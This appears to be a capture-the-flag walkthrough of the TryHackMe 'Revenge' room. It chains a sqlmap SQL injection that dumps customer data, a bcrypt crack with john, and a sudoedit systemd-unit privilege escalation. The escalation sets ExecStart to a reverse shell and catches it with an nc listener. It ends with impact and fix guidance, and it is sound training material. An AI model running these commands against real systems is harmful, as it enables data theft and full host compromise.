mintshell
VI

Revenge

A Flask shop has a SQL injection that dumps the whole database (PII, cards, bcrypt hashes); a weak-cost admin hash cracks to SSH, and a sudo rule allowing sudoedit of a systemd unit plus systemctl restart escalates to root.

Platform
TryHackMe
Room
Revenge(external link)
Difficulty
Medium
Vulnerabilities
sql injection, weak credentials, insecure sudo configuration
4 min read

A walkthrough of the “Revenge” room from TryHackMe (a sequel to Blog — the client wants the site defaced). The Rubber Ducky Inc. Flask shop has a SQL injection that dumps the entire duckyinc database — PII, credit cards, and bcrypt hashes. A weak-cost admin hash cracks to an SSH login, and a sudo rule that lets us sudoedit a systemd unit and restart it escalates to root.

Revenge is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. All flags and the recovered password are shown as THM{<redacted>} / <redacted>, and the dumped PII/cards and bcrypt hashes are withheld — real on the box.


TL;DR

TL;DR

A Flask shop (nginx) with /products/<id> → the id is SQL-injectable; sqlmap dumps the duckyinc DB → the user table holds PII, plaintext credit cards and bcrypt hashes (flag 1 is hidden in a credit_card field), and system_user holds admin bcrypt hashes → server-admin’s hash uses a weak cost ($2a$08$) and cracks with rockyou → SSH in (flag 2) → sudo -l allows sudoedit /etc/systemd/system/duckyinc.service and systemctl restart duckyinc.service → edit the unit’s ExecStart to a reverse shell, daemon-reload, restart → root → complete the mission by defacing the site as www-data (flag 3 appears in /root).

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows SSH and an nginx-fronted Flask app:

22/tcp open  ssh   OpenSSH 8.2p1 Ubuntu
80/tcp open  http  nginx 1.18.0   # "Rubber Ducky Inc." (Flask; requirements.txt exposed)

Content discovery finds /admin, /login, /products, and /requirements.txt (confirming Flask + a SQL database).

The vulnerability

The product page GET /products/<id> passes the id straight into a SQL query — a classic injection reachable in the URL path. The dump exposes everything, including the first flag. The privesc is a sudo rule that effectively lets the user control a root-run service.

Insight

The privesc is the elegant part: server-admin may sudoedit the systemd unit duckyinc.service and systemctl daemon-reload/restart it. A systemd unit’s ExecStart runs as whatever user the unit specifies — here, root. So editing ExecStart (or adding one) to a reverse shell and restarting the service runs your command as root. Granting edit + restart on a root service is equivalent to granting root.

Step 1 — SQL injection → dump the database (flag 1)

sqlmap --url 'http://$IP/products/1' --current-db          # duckyinc
sqlmap --url 'http://$IP/products/1' -D duckyinc --tables  # system_user, user, product
sqlmap --url 'http://$IP/products/1' -D duckyinc -T user -C username,_password,credit_card --dump
# one row's credit_card field is the flag:  THM{<redacted>}
# (the rest are real PII + plaintext card numbers)

Step 2 — crack the weak admin hash → SSH (flag 2)

The system_user table holds admin bcrypt hashes; server-admin’s uses a weak cost of 8:

sqlmap --url 'http://$IP/products/1' -D duckyinc -T system_user -C username,_password --dump
# server-admin : $2a$08$...   (cost 8 — weak)
john --wordlist=rockyou.txt admin_hash.txt   # server-admin : <redacted>
ssh server-admin@$IP
server-admin@...:~$ cat flag2.txt   # THM{<redacted>}

Step 3 — sudoedit a systemd unit → root (flag 3)

server-admin@...:~$ sudo -l
# (root) /bin/systemctl start|enable|restart|daemon-reload duckyinc.service, sudoedit /etc/systemd/system/duckyinc.service

Edit the unit to run a reverse shell as root, reload, and restart:

sudoedit /etc/systemd/system/duckyinc.service
# set ExecStart (or add one) to: /tmp/shell.sh   (a bash reverse-shell script)
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart duckyinc.service
nc -lvnp 4444   # -> root shell

The mission is to deface the site, so become www-data and edit a Flask template; the final flag then appears in /root:

# as www-data: edit ~/duckyinc/templates/index.html, then as root:
cat /root/flag3.txt   # THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated SQL injection exfiltrates the entire customer database — names, emails, and plaintext credit-card numbers (a serious PII/PCI breach). A weak-cost admin bcrypt hash cracks to an SSH login, and a sudo rule permitting edit-and-restart of a root systemd service escalates to full root — complete host compromise and the ability to tamper with the live site.

Fix

  • Use parameterised queries for /products/<id>; never build SQL from the URL.
  • Never store card numbers in plaintext — that’s a PCI-DSS violation; tokenise or don’t store them, and use a strong bcrypt cost (12+) consistently.
  • Fix the sudo rule. Allowing sudoedit of a service unit plus restart is equivalent to root; scope sudo to safe, specific actions and keep unit files root-only.
  • Enforce strong admin passwords so a leaked hash isn’t cracked in seconds.

Takeaways

  • Flags (and data) hide in dumped columns. The first flag was literally a credit_card value.
  • bcrypt cost matters. $2a$08$ cracked fast where $2a$12$ would resist.
  • sudoedit + systemctl restart of a root service = root. Control over a privileged unit’s ExecStart is a shell.
  • Read the sudo rule carefully. The combination, not any single command, was the vulnerability.

Revenge is a clean SQLi-to-root chain with a tidy systemd-service privesc. Thanks for reading.